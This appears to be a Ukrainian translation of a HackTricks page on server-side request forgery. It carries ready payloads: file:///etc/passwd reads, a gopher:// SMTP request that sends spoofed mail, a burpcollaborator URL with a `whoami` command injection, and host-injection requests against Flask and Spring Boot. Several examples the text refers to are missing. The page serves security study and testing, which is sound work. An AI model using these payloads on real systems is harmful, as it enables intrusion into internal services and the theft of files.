Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти.
Отримайте доступ сьогодні:
Поділіться своїми хакерськими трюками, надсилайте PR доHackTricks та HackTricks Cloud репозиторіїв GitHub.
Базова інформація
Уразливість Server-side Request Forgery (SSRF) виникає, коли зловмисник маніпулює серверною програмою, щоб зробити HTTP-запити на домен за їхнім вибором. Ця уразливість викриває сервер зовнішнім запитам, спрямованим зловмисником.
Захоплення SSRF
Перше, що вам потрібно зробити, це захопити взаємодію SSRF, створену вами. Для захоплення HTTP- або DNS-взаємодії ви можете використовувати такі інструменти, як:
Зазвичай ви виявите, що SSRF працює лише в певних доменах або URL-адресах. На наступній сторінці ви знайдете компіляцію технік для спроб обійти цей білий список:
Якщо сервер належним чином захищений, ви можете обійти всі обмеження, використовуючи вразливість відкритого перенаправлення на веб-сторінці. Оскільки веб-сторінка дозволить SSRF на той самий домен, і, ймовірно, буде слідувати перенаправленням, ви можете використати відкрите перенаправлення, щоб змусити сервер отримати доступ до внутрішнього ресурсу.
Докладніше читайте тут: https://portswigger.net/web-security/ssrf
Протоколи
file://
Схема URL file:// посилається безпосередньо на /etc/passwd: file:///etc/passwd
dict://
Схема URL DICT описується як використовувана для доступу до визначень або словників за допомогою протоколу DICT. Наведено приклад побудованого URL, який спрямований на конкретне слово, базу даних та номер запису, а також приклад використання PHP-скрипта для підключення до сервера DICT за допомогою наданих зловмисником облікових даних: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
SFTP://
Визначено як протокол безпечного передавання файлів через безпечний shell, наведено приклад того, як PHP-скрипт можна використовувати для підключення до шкідливого сервера SFTP: url=sftp://generic.com:11111/
TFTP://
Згадується Протокол простого передавання файлів, що працює через UDP, з прикладом PHP-скрипта, призначеного для відправлення запиту на сервер TFTP. Запит TFTP робиться на 'generic.com' на порт '12346' для файлу 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
LDAP://
Цей сегмент охоплює протокол легкого доступу до каталогів, підкреслюючи його використання для управління та доступу до розподілених служб каталогів через IP-мережі. Взаємодійте з сервером LDAP на localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SMTP
Описано метод використання уразливостей SSRF для взаємодії з SMTP-сервісами на localhost, включаючи кроки для виявлення внутрішніх доменних імен та подальші розслідувальні дії на основі цієї інформації.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL глобінг - обхід WAF
Якщо SSRF виконується за допомогою curl, у curl є функція, яка називається URL глобінг, яка може бути корисною для обходу WAF. Наприклад, у цьому **описі ви можете знайти приклад траверсу шляху через протокол file:
Обговорюється можливість протоколу Gopher вказати IP, порт та байти для зв'язку з сервером, разом із інструментами, такими як Gopherus та remote-method-guesser для створення поліпшень. Показано два відмінні використання:
Gopher://
За допомогою цього протоколу ви можете вказати IP, порт та байти, які ви хочете, щоб сервер надіслав. Після цього ви фактично можете використовувати SSRF для зв'язку з будь-яким TCP сервером (але вам потрібно знати, як спілкуватися з послугою спочатку).
На щастя, ви можете використовувати Gopherus, щоб створювати поліпшення для кількох послуг. Крім того, remote-method-guesser може бути використаний для створення gopher поліпшень для служб Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0Agopher://<server>:8080/_GET/HTTP/1.0%0A%0Agopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie:eatme%0A%0AI+am+a+post+body
Аналітичне програмне забезпечення на серверах часто реєструє заголовок Referrer для відстеження вхідних посилань, практика, яка ненавмисно викриває додатки до уразливостей на стороні сервера у вигляді підроблення запитів на сервер (SSRF). Це тому, що таке програмне забезпечення може відвідувати зовнішні URL-адреси, зазначені в заголовку Referrer, для аналізу вмісту сайту-джерела. Для виявлення цих уразливостей рекомендується використовувати плагін Burp Suite "Collaborator Everywhere", використовуючи спосіб обробки аналітичними інструментами заголовка Referer для ідентифікації потенційних поверхонь атаки SSRF.
SSRF через дані SNI з сертифікату
Неправильна конфігурація, яка може дозволити підключення до будь-якого бекенду за допомогою простого налаштування, проілюстрована на прикладі конфігурації Nginx:
У цій конфігурації значення з поля Server Name Indication (SNI) безпосередньо використовується як адреса бекенду. Це налаштування викриває вразливість на Server-Side Request Forgery (SSRF), яку можна використовувати, просто вказавши бажану IP-адресу або доменне ім'я у полі SNI. Нижче наведено приклад використання для примусового підключення до довільного бекенду, такого як internal.host.com, за допомогою команди openssl:
Можливо варто спробувати використати пейлоад на кшталт: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Відображення PDF
Якщо веб-сторінка автоматично створює PDF з наданою вами інформацією, ви можете вставити деякий JS, який буде виконаний самим створювачем PDF (сервером) під час створення PDF, і ви зможете зловживати SSRF. Дізнайтеся більше тут.
Від SSRF до DoS
Створіть кілька сеансів та спробуйте завантажити важкі файли, використовуючи SSRF з сеансів.
Для деяких експлуатацій може знадобитися відправити відповідь перенаправлення (потенційно використовуючи інший протокол, наприклад gopher). Тут ви знайдете різні коди Python для відповіді з перенаправленням:
Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, які працюють на найбільш продвинутих інструментах спільноти у світі.
Отримайте доступ сьогодні:
</details>
Flask дозволяє використовувати **`@`** як початковий символ, що дозволяє зробити **початкове ім'я хоста ім'ям користувача** та впровадити нове. Атака запиту:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
Вразливий код:
Було виявлено, що можливо розпочати шлях запиту з символу ;, що дозволяє використовувати потім @ та впроваджувати новий хост для доступу. Атака запиту:
GET ;@evil.com/url HTTP/1.1Host:target.comConnection:close